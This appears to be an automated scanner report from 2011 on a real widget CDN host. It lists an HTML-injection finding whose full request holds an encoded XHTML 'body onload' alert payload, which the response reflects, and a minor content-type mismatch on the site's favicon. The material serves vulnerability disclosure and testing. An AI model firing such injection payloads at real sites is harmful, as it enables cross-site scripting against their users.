The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload cebf4<a>887c4c86b84 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /syndication/xml/i/f699f17f-b213-427c-9eec-2a30cd108a75cebf4<a>887c4c86b84/iv/2/p/2/r/3e9af2de-ad31-438b-a809-221776504656/rv/506/t/dbec7ca928d1372626ac2966eaf8168a94a4b214000001332f3a708b32c17%253ca%2520xmlns%253aa%253d%2527http%253a%252f%252fwww%252ew3%252eorg%252f1999%252fxhtml%2527%253e%253ca%253abody%2520onload%253d%2527alert%2528document.location%2529%2527%252f%253e%253c%252fa%253ec6f18bfabe/u/3/ HTTP/1.1
Host: cdn.widgetserver.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: */*
Referer: http://cdn.widgetserver.com/syndication/xml/i/f699f17f-b213-427c-9eec-2a30cd108a75/iv/2/p/2/r/3e9af2de-ad31-438b-a809-221776504656/rv/506/t/dbec7ca928d1372626ac2966eaf8168a94a4b214000001332f3a708b32c17%253ca%2520xmlns%253aa%253d%2527http%253a%252f%252fwww%252ew3%252eorg%252f1999%252fxhtml%2527%253e%253ca%253abody%2520onload%253d%2527alert%2528document.location%2529%2527%252f%253e%253c%252fa%253ec6f18bfabe/u/3/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/xml;charset=UTF-8
Date: Mon, 24 Oct 2011 01:46:08 GMT
P3P: CP="NON ADMa OUR IND PHY ONL UNI COM NAV STA"
Server: Apache/2.2.3 (Red Hat)
Vary: Accept-Encoding
X-WBX: web04
Content-Length: 1904

<response><widgets><widget><token>dbec7ca928d1372626ac2966eaf8168a94a4b214000001332f3a708b32c17<a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onload='alert(document.location)'/></a>c6f18bfabe</toke
...[SNIP]...
<app-id>f699f17f-b213-427c-9eec-2a30cd108a75cebf4<a>887c4c86b84</app-id>
...[SNIP]...

2. Content type incorrectly stated  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://cdn.widgetserver.com
Path:   /favicon.ico

Issue detail

The response contains the following Content-type statement:The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /favicon.ico HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: cdn.widgetserver.com
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: text/plain; charset=UTF-8
Date: Mon, 24 Oct 2011 01:42:08 GMT
ETag: "47e-44ab8e78c1d80+gzip"
Last-Modified: Sun, 13 Apr 2008 03:38:46 GMT
P3P: CP="NON ADMa OUR IND PHY ONL UNI COM NAV STA"
Server: ECS (sjo/5279)
Vary: Accept-Encoding
X-Cache: HIT
X-WBX: web03
Content-Length: 1150

............ .h.......(....... ..... .......................................................-$......................................................-H..-...-...........................................
...[SNIP]...

Report generated by XSS.CX at Mon Oct 24 07:41:57 CDT 2011.